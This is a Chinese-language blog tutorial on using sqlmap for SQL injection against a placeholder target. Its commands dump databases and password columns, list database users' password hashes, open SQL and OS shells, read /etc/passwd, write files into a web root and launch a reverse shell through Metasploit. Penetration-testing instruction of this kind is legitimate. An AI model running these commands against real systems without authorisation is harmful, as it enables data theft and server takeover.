SQL注入攻擊之sqlmap
- 2020 年 3 月 6 日
- 筆記
SQL注入攻擊之sqlmap
cn0sec 2020-02-27
sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,一個sqlmap就足夠用了,現在支援python3了。
sqlmap支援MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等資料庫的各種安全漏洞檢測。
SQLmap語法
SQLmap命令選項被歸類為`目標(Target)選項`、`請求(Request)選項`、`優化`、`注入`、`檢測`、`技巧(Techniques)`、`指紋`、`枚舉`等。
具體使用sqlmap -h詳細查看。
sqlmap支援五種不同的注入模式:
l 基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入;
l 基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷;
l 基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中;
l 聯合查詢注入,可以使用union的情況下的注入;
l 堆查詢注入,可以同時執行多條語句的執行時的注入。
SQL注入的分類可以看SQL注入的分類 --cn0sec.cn
安裝方法
(1)linux下git直接安裝
gitclone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
(2)windows下安裝
windows下下載sqlmap的壓縮包,解壓後即可使用。但需要一些組件包的支援,需要有python 2.x或者3.x環境支援。
(3)kali及PentestBox默認安裝sqlmap
注入方法
一、Sqlmap注入篇
具體可以用"sqlmap -h"查看完整的命令幫助文檔;
1、檢查注入點
sqlmap -u http://xxx.com/1.php?id=11
2、爆所有資料庫資訊
sqlmap -u http://xxx.com/1.php?id=11 --dbs
爆當前資料庫資訊
sqlmap -u http://xxx.com/1.php?id=11 --current-db
3、列出指定資料庫所有的表名
sqlmap -u http://xxx.com/1.php?id=11 -D a --tables 'a' 為指定資料庫名稱
4、列出指定表名的所有列名
sqlmap -u http://xxx.com/1.php?id=11 -D a -T admin --columns 'admin' 為指定表名稱
5、輸出表名指定列名欄位的值數據
sqlmap -u http://xxx.com/1.php?id=11 -D a -T admin -C name,password --dump 'name,password' 為指定欄位名稱
二、Sqlmap用戶許可權篇
1、列出資料庫管理系統用戶:
sqlmap -u http://xxx.com/1.php?id=11 --users
查看當前連接資料庫用戶:
sqlmap -u http://xxx.com/1.php?id=11 --current-user
查看資料庫用戶所有密碼:
sqlmap -u http://xxx.com/1.php?id=11 --passwords
2、判斷當前用戶是否是DBA?
sqlmap -u http://xxx.com/1.php?id=11 --is-dba
3、查看用戶許可權:
sqlmap -u http://xxx.com/1.php?id=11 --privileges sqlmap -u http://xxx.com/1.php?id=11 --privileges -U
三、Sqlmap文件操作與shell提權篇
1、sql shell
通過sqlmap可以直接獲取一個sql shell,直接執行sql語句進行交互。
sqlmap -u http://xxx.com/1.php?id=11 --sql-shell sql-shell> select version();
注意:這裡由於進入了sql shell可以執行sql語句了,也可以用 load data infile、load_file、into outfile等函數來進行文件讀取或寫入;
2、cmd shell
這裡通過sqlmap可以直接獲取一個cmd shell,直接執行cmd命令進行交互。
sqlmap -u http://xxx.com/1.php?id=11 --os-shell sqlmap -u http://xxx.com/1.php?id=11 --os-cmd=ipconfig
注意:需要許可權很大跟物理路徑,要是不知道物理路徑,可以用sqlmap枚舉。
3、讀取伺服器上指定文件
sqlmap -u http://xxx.com/1.php?id=11 --file-read=/etc/passwd sqlmap -u http://xxx.com/1.php?id=11 --file-read=d:/test.txt
4、寫入本地文件到伺服器上
sqlmap -u http://xxx.com/1.php?id=11 --file-write /test/test.txt --file-dest /var/www/html/1.txt
其他
是否支援union 注入
sqlmap -u http://xxx.com/1.php?id=11 --union-check
採用union 注入
sqlmap -u http://xxx.com/1.php?id=11 --union-use
union配合order by
sqlmap -u http://xxx.com/1.php?id=11 –union-tech orderby
保存注入過程到一個文件,還可中斷,下次恢復在注入
sqlmap -u http://xxx.com/1.php?id=11 -S 保存:-s 「xx.log」 恢復:-s 「xx.log」 –resume)
指定可測試的參數
sqlmap -u http://xxx.com/?page=1&id=2 -p 「page,id」
顯示注入詳細的等級(0-6)
sqlmap -u http://xxx.com/1.phpid=11 -v 0:只顯示Python的回溯,錯誤和關鍵消息。 1:顯示資訊和警告消息。 2:顯示調試消息。 3:有效載荷注入。 4:顯示HTTP請求。 5:顯示HTTP響應頭。 6:顯示HTTP響應頁面的內容
採用多執行緒
sqlmap -u http://xxx.com/1.php?id=11 --threads 3
反彈shell
sqlmap -u http://xxx.com/1.php?id=11 --os-pwn (–os-pwn –msf-path=/opt/framework/msf3/)
基本sqlmap用法,下一篇我們學習下cookie注入和post注入, 偽靜態注入等等

